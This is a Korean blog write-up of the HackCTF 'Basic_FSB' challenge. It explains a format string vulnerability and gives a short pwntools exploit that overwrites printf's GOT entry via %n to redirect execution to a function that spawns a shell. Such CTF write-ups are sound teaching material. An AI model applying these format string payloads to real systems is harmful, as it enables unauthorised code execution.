HACKCTF - Basic_FSB
2020. 7. 8. 09:23ㆍCTF's Write-up
문제 제목을 보면 FSB인것을 알 수 있으니 먼저 좁혀두고 가면 편할것이다.
실행하면 평범하게 입력값을 출력해준다.
IDA로 실행해보면
전형적인 FSB문제 형식의 코드로 보인다
%p를 활용해서 주소를 출력해보면
첫번째 인자는 건너뛰고 2번째부터 시작되는것을 볼 수 있다.
또한 flag함수를 보면 /bin/sh 가 있으니 궁극적으로 이곳으로 리턴을 보내면 해결될 것이라는 것도 확인할 수 있다.
따라서 우리는 vuln함수의 printf(&format); 이 부분에서 printf.got 을 리턴으로 덮어주면 되니까
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3002)
context.log_level = 'debug'
e = ELF("./basic_fsb")
payload = ""
payload += p32(e.got["printf"])
payload += "%134514096x%n"
log.info(r.recv())
r.sendline(payload)
r.interactive()
|
cs |
위의 코드와 익스 코드를 작성할 수 있을 것 같네요.
조금 부연설명을 하자면 %n 이란 포멧스트링이 전에 있는걸 그 전에 위치에 넣는다고 생각하면 편하실거에요.
"%134514096x <-- 이것은 flag함수의 위치를 10진수로 변환하고, 아까 앞에 null하나 있었으니까 4바이트 빼준거입니다. 즉 flag 함수의 주소
즉 결론은 printf로 가야하는 함수가 flag 함수로 온다고 생각하시면 됩니다.
FSB 어렵네요 ㅠ 계속 반복해야겠습니다.
익스 성공장면입니다.
'CTF's Write-up' 카테고리의 다른 글
HACKCTF - 내 버퍼가 흘러넘친다!!! (0) | 2020.07.09 |
---|---|
HACKCTF - Hidden (0) | 2020.07.08 |
HACKCTF - / (0) | 2020.07.07 |
HACKCTF - Basic_BOF #2 (0) | 2020.07.07 |
HACKCTF - Basic_BOF #1 (0) | 2020.07.06 |